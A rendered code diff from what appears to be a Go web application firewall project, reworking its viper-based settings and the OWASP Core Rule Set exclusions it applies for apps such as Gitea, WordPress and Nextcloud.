||||||
|
|
||||||
// NewViper returns the viper that reads the settings: each setting's
|
|
||||||
// environment variable, bound to its own name. Every setting of waf
|
|
||||||
// and rproxy is read through it, and none is read with os.Getenv or
|
|
||||||
// os.LookupEnv outside it. An environment variable that is set but empty is
|
|
||||||
// set, as one that holds a value is, which viper does not take for granted.
|
|
||||||
func NewViper() *viper.Viper {
|
|
||||||
v := viper.New()
|
|
||||||
v.AutomaticEnv()
|
|
||||||
v.AllowEmptyEnv(true)
|
|
||||||
|
|
||||||
return v
|
|
||||||
}
|
|
||||||
@@ -1,34 +0,0 @@
|
|||||||
package config_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
|
||||||
)
|
|
||||||
|
|
||||||
// These tests set real environment variables, so none runs in parallel.
|
|
||||||
|
|
||||||
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
|
|
||||||
t.Setenv(adminToken, "")
|
|
||||||
|
|
||||||
_, err := config.WAFFromEnvironment(config.NewViper())
|
|
||||||
|
|
||||||
want := adminToken + ": is shorter than 32 characters"
|
|
||||||
if err == nil || err.Error() != want {
|
|
||||||
t.Fatalf("error %v, want %s", err, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestListSetEmptyInTheEnvironmentReplacesItsDefault(t *testing.T) {
|
|
||||||
t.Setenv(wafBackend, backendURL)
|
|
||||||
t.Setenv(rproxyTrusted, "")
|
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(config.NewViper())
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("settings: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(cfg.TrustedProxies) != 0 {
|
|
||||||
t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+373
-545
File diff suppressed because it is too large.
Load diff
+475
-632
File diff suppressed because it is too large.
Load diff
+163
-180
@@ -1,9 +1,9 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the
|
// body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww
|
||||||
// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names,
|
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||||
// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack
|
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||||
// detection" under "Settings" in SPEC.md describes them. It reads no response.
|
// response.
|
||||||
//
|
//
|
||||||
// sww writes only to its state directory, so Coraza is built with
|
// sww writes only to its state directory, so Coraza is built with
|
||||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||||
@@ -16,8 +16,6 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"maps"
|
|
||||||
"net"
|
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"os"
|
"os"
|
||||||
@@ -34,16 +32,19 @@ import (
|
|||||||
|
|
||||||
// directives are the Core Rule Set as sww runs it, with the
|
// directives are the Core Rule Set as sww runs it, with the
|
||||||
// paranoia level for %d, bodyDirectives for the first %s while
|
// paranoia level for %d, bodyDirectives for the first %s while
|
||||||
// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for
|
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
||||||
// the second, and the directives of every app in apps for the third.
|
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||||
|
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
||||||
|
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
||||||
|
// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
// setting switches one off. Coraza joins a line ending in \ to the next,
|
// setting switches one off. Coraza joins a line ending in \ to the next,
|
||||||
// without the spaces at the start of the next.
|
// without the spaces at the start of the next.
|
||||||
const directives = `
|
const directives = `
|
||||||
# The engine only detects. sww compares the request's anomaly
|
# The engine only detects. sww compares the request's anomaly
|
||||||
# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode
|
# score with SWW_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
|
||||||
# alike. It reads no body, unless bodyDirectives switch that on.
|
# alike. It reads no body, unless bodyDirectives switch that on.
|
||||||
SecRuleEngine DetectionOnly
|
SecRuleEngine DetectionOnly
|
||||||
SecRequestBodyAccess Off
|
SecRequestBodyAccess Off
|
||||||
@@ -83,24 +84,70 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
|||||||
# before the rules of phase 1 too.
|
# before the rules of phase 1 too.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The apps' fixes come before the rules for the same reason.
|
# The eighth change comes before the rules for the same reason.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The fifth: only the rules for requests are loaded, and no response is
|
# The ninth change comes before the rules for the same reason.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the tenth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the eleventh.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the twelfth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the thirteenth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the fourteenth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# And the fifteenth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# The sixth: only the rules for requests are loaded, and no response is
|
||||||
# inspected.
|
# inspected.
|
||||||
Include @owasp_crs/REQUEST-*.conf
|
Include @owasp_crs/REQUEST-*.conf
|
||||||
|
|
||||||
# The third: redirect_uri is not checked for a URL naming an IP address or
|
# The third: redirect_uri is not checked for a URL naming an IP address or
|
||||||
# localhost. Coraza matches a parameter name here without regard to case.
|
# localhost. Coraza matches a parameter name here, and in the fourth,
|
||||||
# ARGS holds the fields of a form data or multipart body Coraza reads as
|
# without regard to case. ARGS holds the fields of a form data or multipart
|
||||||
# well as the query parameters, so a field of this name is left out too.
|
# body Coraza reads as well as the query parameters, so a field of one of
|
||||||
|
# these names is left out too.
|
||||||
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
||||||
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
||||||
|
|
||||||
# The fourth: Referer is not checked for a Unix command without arguments
|
# The fourth: the query parameters in which gitea sends names within a
|
||||||
# or for Java starting a process.
|
# repository or its own records, or a page of its own site, are not
|
||||||
|
# checked against the lists of system files, shell paths and command
|
||||||
|
# names. Coraza takes one rule id per directive.
|
||||||
|
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||||
|
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||||
|
!ARGS:artifactName|!ARGS:redirect_to"
|
||||||
|
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||||
|
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||||
|
!ARGS:artifactName|!ARGS:redirect_to"
|
||||||
|
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||||
|
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||||
|
!ARGS:artifactName|!ARGS:redirect_to"
|
||||||
|
|
||||||
|
# The fifth, for Referer: it is not checked for a Unix command without
|
||||||
|
# arguments, for Java starting a process, or for a Java class name. 944130
|
||||||
|
# refused every page opened from the page of java.lang.String.md. The
|
||||||
|
# cookies are left out in Inspect.
|
||||||
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
||||||
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
||||||
|
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
|
||||||
|
|
||||||
|
# The seventh: a container image push that reuses a layer names the image
|
||||||
|
# it takes the layer from in the query parameter from, which is not
|
||||||
|
# checked for command names. 932260 refused the push of a layer from
|
||||||
|
# owner/python3-app.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
|
||||||
|
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
|
||||||
`
|
`
|
||||||
|
|
||||||
// bodyDirectives have the Core Rule Set read the part of a request body
|
// bodyDirectives have the Core Rule Set read the part of a request body
|
||||||
@@ -145,98 +192,84 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
|
|||||||
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
||||||
`
|
`
|
||||||
|
|
||||||
// app is an app whose ordinary requests the Core Rule Set would refuse,
|
// giteaExclusions are the eighth change: the fields of gitea's own
|
||||||
// with the fixes that let them pass.
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
type app struct {
|
// directives.
|
||||||
// directives are Coraza exclusions, loaded before the Core Rule Set's
|
|
||||||
// rules. Their first rule skips to the marker they end with, unless
|
|
||||||
// Inspect sets the transaction variable named for the app, such as
|
|
||||||
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
|
|
||||||
// must check that variable itself.
|
|
||||||
directives string
|
|
||||||
// cookies are the cookies the Core Rule Set reads a request without.
|
|
||||||
cookies []string
|
|
||||||
// forkOf names the app this one is a fork of, "" for none. A hostname
|
|
||||||
// that lists this app gets that app's fixes too.
|
|
||||||
forkOf string
|
|
||||||
}
|
|
||||||
|
|
||||||
//go:embed gitea.conf
|
|
||||||
var giteaDirectives string
|
|
||||||
|
|
||||||
//go:embed wordpress.conf
|
|
||||||
var wordpressDirectives string
|
|
||||||
|
|
||||||
//go:embed drupal.conf
|
|
||||||
var drupalDirectives string
|
|
||||||
|
|
||||||
//go:embed mediawiki.conf
|
|
||||||
var mediawikiDirectives string
|
|
||||||
|
|
||||||
//go:embed mastodon.conf
|
|
||||||
var mastodonDirectives string
|
|
||||||
|
|
||||||
//go:embed vaultwarden.conf
|
|
||||||
var vaultwardenDirectives string
|
|
||||||
|
|
||||||
//go:embed nextcloud.conf
|
|
||||||
var nextcloudDirectives string
|
|
||||||
|
|
||||||
//go:embed forgejo.conf
|
|
||||||
var forgejoDirectives string
|
|
||||||
|
|
||||||
//go:embed ghost.conf
|
|
||||||
var ghostDirectives string
|
|
||||||
|
|
||||||
// apps are the apps whose fixes sww has, by the name SWW_WAF_APPS gives each.
|
|
||||||
// flash is Forgejo's name for gitea_flash.
|
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a map
|
//go:embed gitea.conf
|
||||||
var apps = map[string]app{
|
var giteaExclusions string
|
||||||
"drupal": {directives: drupalDirectives},
|
|
||||||
"forgejo": {
|
|
||||||
directives: forgejoDirectives,
|
|
||||||
cookies: []string{"flash"},
|
|
||||||
forkOf: "gitea",
|
|
||||||
},
|
|
||||||
"ghost": {directives: ghostDirectives},
|
|
||||||
"gitea": {
|
|
||||||
directives: giteaDirectives,
|
|
||||||
cookies: []string{"gitea_flash", "redirect_to"},
|
|
||||||
},
|
|
||||||
"mastodon": {directives: mastodonDirectives},
|
|
||||||
"mediawiki": {directives: mediawikiDirectives},
|
|
||||||
"nextcloud": {directives: nextcloudDirectives},
|
|
||||||
"vaultwarden": {directives: vaultwardenDirectives},
|
|
||||||
"wordpress": {directives: wordpressDirectives},
|
|
||||||
}
|
|
||||||
|
|
||||||
// AppNames returns the names of the apps whose fixes sww has, in
|
// wordpressExclusions are the ninth change: the fields of WordPress's own
|
||||||
// alphabetical order.
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
func AppNames() []string {
|
// directives.
|
||||||
return slices.Sorted(maps.Keys(apps))
|
//
|
||||||
}
|
//go:embed wordpress.conf
|
||||||
|
var wordpressExclusions string
|
||||||
|
|
||||||
|
// drupalExclusions are the tenth change: the fields of Drupal's own
|
||||||
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
|
// directives.
|
||||||
|
//
|
||||||
|
//go:embed drupal.conf
|
||||||
|
var drupalExclusions string
|
||||||
|
|
||||||
|
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
|
||||||
|
// own requests that skip the rules that refused them there, as Coraza
|
||||||
|
// directives.
|
||||||
|
//
|
||||||
|
//go:embed mediawiki.conf
|
||||||
|
var mediawikiExclusions string
|
||||||
|
|
||||||
|
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
|
||||||
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
|
// directives.
|
||||||
|
//
|
||||||
|
//go:embed mastodon.conf
|
||||||
|
var mastodonExclusions string
|
||||||
|
|
||||||
|
// vaultwardenExclusions are the thirteenth change: the fields of
|
||||||
|
// Vaultwarden's own requests that skip the rules that refused them there, as
|
||||||
|
// Coraza directives.
|
||||||
|
//
|
||||||
|
//go:embed vaultwarden.conf
|
||||||
|
var vaultwardenExclusions string
|
||||||
|
|
||||||
|
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
|
||||||
|
// own requests that skip the rules that refused them there, the WebDAV
|
||||||
|
// methods it uses, its cookie of the account's name, and its uploads,
|
||||||
|
// whose bodies are not read, as Coraza directives.
|
||||||
|
//
|
||||||
|
//go:embed nextcloud.conf
|
||||||
|
var nextcloudExclusions string
|
||||||
|
|
||||||
|
// forgejoExclusions are the fifteenth change: the fields of Forgejo's own
|
||||||
|
// requests that skip the rules that refused them there, where Forgejo differs
|
||||||
|
// from gitea, as Coraza directives.
|
||||||
|
//
|
||||||
|
//go:embed forgejo.conf
|
||||||
|
var forgejoExclusions string
|
||||||
|
|
||||||
|
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||||
|
// without, the rest of the fifth change. flash is Forgejo's name for
|
||||||
|
// gitea_flash.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// ParanoiaLevel is SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, from 1 to 4.
|
// ParanoiaLevel is SWW_WAF_PARANOIA_LEVEL, from 1 to 4.
|
||||||
ParanoiaLevel int
|
ParanoiaLevel int
|
||||||
// DisabledRules are the ids of the rules switched off
|
// DisabledRules are the ids of the rules switched off
|
||||||
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
|
// (SWW_WAF_DISABLED_RULES).
|
||||||
DisabledRules []int
|
DisabledRules []int
|
||||||
// BodyInspectionSize is the most of a request body the Core Rule Set
|
// BodyLimit is the most of a request body the Core Rule Set reads
|
||||||
// reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off
|
// (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
|
||||||
// and it reads none.
|
BodyLimit int64
|
||||||
BodyInspectionSize int64
|
|
||||||
// ExclusionsFile is the path of a file of exclusions loaded before the
|
// ExclusionsFile is the path of a file of exclusions loaded before the
|
||||||
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||||
// there is none.
|
// there is none.
|
||||||
ExclusionsFile string
|
ExclusionsFile string
|
||||||
// Apps are the names of the apps each hostname serves, by hostname in
|
|
||||||
// lowercase (SWW_WAF_APPS). A request gets only the fixes of its hostname's
|
|
||||||
// apps and of the apps they are forks of, or of every app while Apps is
|
|
||||||
// nil.
|
|
||||||
Apps map[string][]string
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The ids of sww's own rules, which an exclusions file may not
|
// The ids of sww's own rules, which an exclusions file may not
|
||||||
@@ -261,7 +294,7 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
|
|||||||
// the directive finds none of them.
|
// the directive finds none of them.
|
||||||
var errChangesNoRule = errors.New(
|
var errChangesNoRule = errors.New(
|
||||||
"the Core Rule Set's rules load after the file; " +
|
"the Core Rule Set's rules load after the file; " +
|
||||||
"switch a rule off with SWW_WAF_CORE_RULE_SET_DISABLED_RULES, or on some requests " +
|
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
||||||
"with a ctl exclusion",
|
"with a ctl exclusion",
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -338,22 +371,18 @@ func checkExclusions(exclusions string) error {
|
|||||||
// for concurrent use.
|
// for concurrent use.
|
||||||
type CoreRuleSet struct {
|
type CoreRuleSet struct {
|
||||||
engine coraza.WAF
|
engine coraza.WAF
|
||||||
bodyInspectionSize int64
|
bodyLimit int64
|
||||||
// appsByHostname are the names of the apps each hostname serves, by
|
|
||||||
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
|
|
||||||
appsByHostname map[string][]string
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
// New returns the Core Rule Set with the fifteen changes, at params'
|
||||||
// at params' paranoia level, without the rules it switches off, reading
|
// paranoia level, without the rules it switches off, reading request
|
||||||
// request bodies up to params' body inspection size, and with params'
|
// bodies up to params' limit, and with params' exclusions file loaded
|
||||||
// exclusions file loaded before the Core Rule Set's rules. An exclusions
|
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||||
// file is an error if it cannot be read or does not parse, or if
|
// cannot be read or does not parse, or if checkExclusions refuses it.
|
||||||
// checkExclusions refuses it.
|
|
||||||
func New(params Params) (*CoreRuleSet, error) {
|
func New(params Params) (*CoreRuleSet, error) {
|
||||||
body := ""
|
body := ""
|
||||||
if params.BodyInspectionSize > 0 {
|
if params.BodyLimit > 0 {
|
||||||
body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize)
|
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
|
||||||
}
|
}
|
||||||
|
|
||||||
exclusions := ""
|
exclusions := ""
|
||||||
@@ -372,13 +401,10 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var fixes strings.Builder
|
|
||||||
for _, name := range AppNames() {
|
|
||||||
fixes.WriteString(apps[name].directives + "\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||||
fixes.String())
|
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||||
|
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
|
||||||
|
nextcloudExclusions, forgejoExclusions)
|
||||||
|
|
||||||
if len(params.DisabledRules) > 0 {
|
if len(params.DisabledRules) > 0 {
|
||||||
ids := make([]string, len(params.DisabledRules))
|
ids := make([]string, len(params.DisabledRules))
|
||||||
@@ -396,11 +422,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return &CoreRuleSet{
|
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
|
||||||
engine: engine,
|
|
||||||
bodyInspectionSize: params.BodyInspectionSize,
|
|
||||||
appsByHostname: params.Apps,
|
|
||||||
}, nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Result is what the Core Rule Set found in a request.
|
// Result is what the Core Rule Set found in a request.
|
||||||
@@ -412,12 +434,11 @@ type Result struct {
|
|||||||
Score int
|
Score int
|
||||||
}
|
}
|
||||||
|
|
||||||
// Inspect runs the Core Rule Set on r, a request from client, with the
|
// Inspect runs the Core Rule Set on r, a request from client: on its
|
||||||
// fixes of the apps appsFor names for r's hostname: on its method, its URL
|
// method, its URL with the query, and its headers, the Cookie header
|
||||||
// with the query, and its headers, the Cookie header without those apps'
|
// without the cookies in cookiesNotRead, and on body, r's body as the
|
||||||
// cookies, and on body, r's body as the caller has it, as readBody reads
|
// caller has it, as readBody reads it. It returns what it found, what it
|
||||||
// it. It returns what it found, what it read of body, and the error that
|
// read of body, and the error that ended the reading early, if one did.
|
||||||
// ended the reading early, if one did.
|
|
||||||
func (c *CoreRuleSet) Inspect(
|
func (c *CoreRuleSet) Inspect(
|
||||||
r *http.Request, client netip.Addr, body io.Reader,
|
r *http.Request, client netip.Addr, body io.Reader,
|
||||||
) (Result, []byte, error) {
|
) (Result, []byte, error) {
|
||||||
@@ -425,24 +446,13 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
// Closing would remove the files Coraza wrote, and it writes none.
|
// Closing would remove the files Coraza wrote, and it writes none.
|
||||||
defer func() { _ = tx.Close() }()
|
defer func() { _ = tx.Close() }()
|
||||||
|
|
||||||
// The transaction's variables are set only through Coraza's interface
|
|
||||||
// for plugins.
|
|
||||||
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
|
||||||
|
|
||||||
var cookiesNotRead []string
|
|
||||||
|
|
||||||
for _, name := range c.appsFor(r.Host) {
|
|
||||||
state.Variables().TX().Set("app_"+name, []string{"1"})
|
|
||||||
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
|
|
||||||
}
|
|
||||||
|
|
||||||
tx.ProcessConnection(client.String(), 0, "", 0)
|
tx.ProcessConnection(client.String(), 0, "", 0)
|
||||||
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
||||||
|
|
||||||
for name, values := range r.Header {
|
for name, values := range r.Header {
|
||||||
for _, value := range values {
|
for _, value := range values {
|
||||||
if name == "Cookie" {
|
if name == "Cookie" {
|
||||||
value = withoutCookies(value, cookiesNotRead)
|
value = withoutCookiesNotRead(value)
|
||||||
if value == "" {
|
if value == "" {
|
||||||
continue // it held those cookies alone
|
continue // it held those cookies alone
|
||||||
}
|
}
|
||||||
@@ -482,19 +492,18 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// readBody reads body, the body of the request in tx, which has run on
|
// readBody reads body, the body of the request in tx, which has run on
|
||||||
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
// the request's headers, while SWW_WAF_BODY_LIMIT is set and the body is
|
||||||
// set and the body is of a kind the Core Rule Set reads: form data and
|
// of a kind the Core Rule Set reads: form data and multipart, of which it
|
||||||
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
|
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
|
||||||
// JSON and XML, which it reads only when they are no longer than that,
|
// when they are no longer than that, since they cannot be read in part.
|
||||||
// since they cannot be read in part.
|
// readBody reads one byte past the limit, to tell which they are, gives
|
||||||
// readBody reads one byte past c.bodyInspectionSize, to tell which they
|
// the Core Rule Set what it reads, and returns what it read and the error
|
||||||
// are, gives the Core Rule Set what it reads, and returns what it read and
|
// that ended the reading early, if one did.
|
||||||
// the error that ended the reading early, if one did.
|
|
||||||
func (c *CoreRuleSet) readBody(
|
func (c *CoreRuleSet) readBody(
|
||||||
tx types.Transaction,
|
tx types.Transaction,
|
||||||
body io.Reader,
|
body io.Reader,
|
||||||
) ([]byte, error) {
|
) ([]byte, error) {
|
||||||
if c.bodyInspectionSize == 0 {
|
if c.bodyLimit == 0 {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -511,9 +520,9 @@ func (c *CoreRuleSet) readBody(
|
|||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
|
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
|
||||||
|
|
||||||
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
|
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
|
||||||
// Coraza holds what it reads of the body in memory, up to the
|
// Coraza holds what it reads of the body in memory, up to the
|
||||||
// limit, so this cannot fail.
|
// limit, so this cannot fail.
|
||||||
_, _, _ = tx.WriteRequestBody(read)
|
_, _, _ = tx.WriteRequestBody(read)
|
||||||
@@ -539,35 +548,9 @@ func score(tx types.Transaction) int {
|
|||||||
return n
|
return n
|
||||||
}
|
}
|
||||||
|
|
||||||
// appsFor returns the names of the apps whose fixes a request for host,
|
// withoutCookiesNotRead returns value, a Cookie header's, without the
|
||||||
// its Host header, gets: every app while SWW_WAF_APPS is unset, and otherwise
|
// cookies in cookiesNotRead.
|
||||||
// those SWW_WAF_APPS lists for host's name, without the port and in
|
func withoutCookiesNotRead(value string) string {
|
||||||
// lowercase, each followed by the app it is a fork of, if any.
|
|
||||||
func (c *CoreRuleSet) appsFor(host string) []string {
|
|
||||||
if c.appsByHostname == nil {
|
|
||||||
return AppNames()
|
|
||||||
}
|
|
||||||
|
|
||||||
hostname, _, err := net.SplitHostPort(host)
|
|
||||||
if err != nil {
|
|
||||||
hostname = host // it has no port
|
|
||||||
}
|
|
||||||
|
|
||||||
var names []string
|
|
||||||
|
|
||||||
for _, name := range c.appsByHostname[strings.ToLower(hostname)] {
|
|
||||||
names = append(names, name)
|
|
||||||
if apps[name].forkOf != "" {
|
|
||||||
names = append(names, apps[name].forkOf)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return names
|
|
||||||
}
|
|
||||||
|
|
||||||
// withoutCookies returns value, a Cookie header's, without the cookies
|
|
||||||
// named in cookiesNotRead.
|
|
||||||
func withoutCookies(value string, cookiesNotRead []string) string {
|
|
||||||
var kept []string
|
var kept []string
|
||||||
|
|
||||||
for cookie := range strings.SplitSeq(value, ";") {
|
for cookie := range strings.SplitSeq(value, ";") {
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// defaultDisabledRules are the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off
|
// defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
|
||||||
// by default.
|
// by default.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
@@ -45,16 +45,14 @@ var loaded = struct {
|
|||||||
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
||||||
|
|
||||||
// loaderFor returns the function that loads the Core Rule Set with params
|
// loaderFor returns the function that loads the Core Rule Set with params
|
||||||
// once, making it the first time params are asked for. %#v writes a nil
|
// once, making it the first time params are asked for.
|
||||||
// Apps, which gives every app's fixes, apart from an empty one, which
|
|
||||||
// gives none.
|
|
||||||
func loaderFor(
|
func loaderFor(
|
||||||
params coreruleset.Params,
|
params coreruleset.Params,
|
||||||
) func() (*coreruleset.CoreRuleSet, error) {
|
) func() (*coreruleset.CoreRuleSet, error) {
|
||||||
loaded.Lock()
|
loaded.Lock()
|
||||||
defer loaded.Unlock()
|
defer loaded.Unlock()
|
||||||
|
|
||||||
settings := fmt.Sprintf("%#v", params)
|
settings := fmt.Sprintf("%+v", params)
|
||||||
|
|
||||||
load, found := loaded.loaders[settings]
|
load, found := loaded.loaders[settings]
|
||||||
if !found {
|
if !found {
|
||||||
@@ -193,10 +191,9 @@ func inspectBody(
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, header := range r.headers {
|
for _, header := range r.headers {
|
||||||
// Go's server keeps Host and Transfer-Encoding out of the headers,
|
// Go's server keeps Host and Transfer-Encoding out of the headers.
|
||||||
// whatever their case.
|
|
||||||
name, value, _ := strings.Cut(header, ": ")
|
name, value, _ := strings.Cut(header, ": ")
|
||||||
switch http.CanonicalHeaderKey(name) {
|
switch name {
|
||||||
case "Host":
|
case "Host":
|
||||||
req.Host = value
|
req.Host = value
|
||||||
case "Transfer-Encoding":
|
case "Transfer-Encoding":
|
||||||
@@ -255,8 +252,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
|||||||
}
|
}
|
||||||
|
